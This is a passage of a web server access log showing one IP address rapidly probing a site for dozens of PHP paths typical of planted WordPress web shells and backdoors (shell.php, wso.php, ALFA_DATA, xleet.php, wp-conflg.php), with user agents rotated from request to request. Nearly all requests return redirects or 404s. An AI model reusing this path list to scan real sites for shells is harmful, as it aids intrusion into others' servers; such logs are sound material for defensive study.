Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:01 +0300] "GET /wp-includes/ID3/module.audio-video.riff-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:02 +0300] "GET /fog/management/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:45:02 +0300] "GET /wp-includes/js/tinymce/utils/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:45:02 +0300] "GET /images/wp-aespa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:45:02 +0300] "GET /wp-includes/Text/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:02 +0300] "GET /.well-known/acme-challenge/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:03 +0300] "GET /wp-content/upgrade/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.77 - - [21/Mar/2026:12:45:03 +0300] "GET /wp-content/themes/aahana/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:03 +0300] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:04 +0300] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:04 +0300] "GET /plugins/content/apismtp/apismtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:45:04 +0300] "GET /wp-admin/includes/class-core-upgrader-first.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:45:04 +0300] "GET /wp-admin/css/wp-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.77 - - [21/Mar/2026:12:45:04 +0300] "GET /.well-known/save.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:45:04 +0300] "GET /wp-includes/feed-rsss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:05 +0300] "GET /wp-includes/IXR/goto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:45:05 +0300] "GET /wp-admin/css/colors/blue/xboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.77 - - [21/Mar/2026:12:45:05 +0300] "GET /wp-content/themes/kadence/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:45:05 +0300] "GET /.trash7309/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:06 +0300] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:06 +0300] "GET /wp-content/plugins/ioxi/ioxi/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:06 +0300] "GET /modules/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:06 +0300] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:06 +0300] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.77 - - [21/Mar/2026:12:45:07 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:07 +0300] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:07 +0300] "GET /wp-includes/js/tinymce/langs/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:07 +0300] "GET /autoload_classmap/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:07 +0300] "GET /wp-admin/maint/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:45:08 +0300] "GET /wp-includes/SimplePie/Registry-private.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:45:08 +0300] "GET /wp-includes/assets/script-modules-packages.min-meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:08 +0300] "GET /wp-includes/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:08 +0300] "GET /wp-content/themes/twentytwentyfour/content-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:08 +0300] "GET /wp-admin/css/colors/modern/colors.css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:45:09 +0300] "GET /wp-includes/style-engine/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:09 +0300] "GET /wp-includes/blocks/group/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:09 +0300] "GET /images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:45:09 +0300] "GET /wp-includes/widgets/class-wp-wolf-widget.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:09 +0300] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:10 +0300] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:10 +0300] "GET /.well-known/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:45:10 +0300] "GET /wordpress/wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:10 +0300] "GET /.well-known/pki-validation/server.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:11 +0300] "GET /autoload_classmap/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:45:11 +0300] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:45:11 +0300] "GET /wp-content/plugins/ubh/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:11 +0300] "GET /wp-content/uploads/anas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:12 +0300] "GET /wp-admin/css/colors/blue/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:45:12 +0300] "GET /wp-content/plugins/erinyani/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:12 +0300] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:12 +0300] "GET /ar/wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.77 - - [21/Mar/2026:12:45:12 +0300] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:13 +0300] "GET /wp-content/plugins/pwnd/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.77 - - [21/Mar/2026:12:45:13 +0300] "GET /wp-content/upgrade/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:13 +0300] "GET /wp-includes/class-wp-http-ixr-client-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:45:13 +0300] "GET /images/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:14 +0300] "GET /wp-includes/widgets/class-t.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:14 +0300] "GET /wp-content/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:14 +0300] "GET /.well-known/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:45:14 +0300] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:14 +0300] "GET /wp-admin/css/colors/blue/navi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:15 +0300] "GET /wp-includes/css/dist/require-dynamic-blocks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.77 - - [21/Mar/2026:12:45:15 +0300] "GET /wp-content/languages/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:15 +0300] "GET /wp-content/bypass_1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:15 +0300] "GET /wp-admin/js/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.77 - - [21/Mar/2026:12:45:15 +0300] "GET /admin/user_data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:15 +0300] "GET /wp-includes/widgets/class-wp-widget-rss-database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:16 +0300] "GET /.well-known/pki-validation/kur.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.77 - - [21/Mar/2026:12:45:16 +0300] "GET /wp-includes/class-wp-customize-manager-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:45:16 +0300] "GET /wp-includes/assets/script-modules-packages.min-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:16 +0300] "GET /wp-admin/css/colors/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:17 +0300] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:17 +0300] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:17 +0300] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:17 +0300] "GET /wp-admin/maint/repairs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:17 +0300] "GET /wp-includes/images/smilies/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:45:18 +0300] "GET /wp-includes/style-engine-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:18 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:18 +0300] "GET /wp-content/mu-plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:18 +0300] "GET /wp-includes/IXR/class-IXR-cilent.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:18 +0300] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.77 - - [21/Mar/2026:12:45:19 +0300] "GET /wp-includes/PHPMailer/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:19 +0300] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:19 +0300] "GET /wp-admin/js/widgets/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:19 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:19 +0300] "GET /wp-includes/assets/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:20 +0300] "GET /wp-includes/widgets/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.77 - - [21/Mar/2026:12:45:20 +0300] "GET /include/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:20 +0300] "GET /wp-includes/class-wp-language-pack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:20 +0300] "GET /js/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:20 +0300] "GET /file/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:45:21 +0300] "GET /function/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:21 +0300] "GET /wp-includes/class-wp-network-query-stat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:21 +0300] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:45:21 +0300] "GET /wp-includes/class-wp-session-tokens-https.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.77 - - [21/Mar/2026:12:45:21 +0300] "GET /wp-admin/js/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:22 +0300] "GET /wp-includes/images/crystal/lrs_dage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:45:22 +0300] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:45:22 +0300] "GET /wp-includes/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.77 - - [21/Mar/2026:12:45:22 +0300] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:22 +0300] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:23 +0300] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:23 +0300] "GET /wp-includes/customize/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:45:23 +0300] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:23 +0300] "GET /images/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:24 +0300] "GET /wp-content/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:24 +0300] "GET /wp-admin/css/colors/ectoplasm/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.77 - - [21/Mar/2026:12:45:24 +0300] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.77 - - [21/Mar/2026:12:45:24 +0300] "GET /wp-includes/js/thickbox/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:24 +0300] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:45:25 +0300] "GET 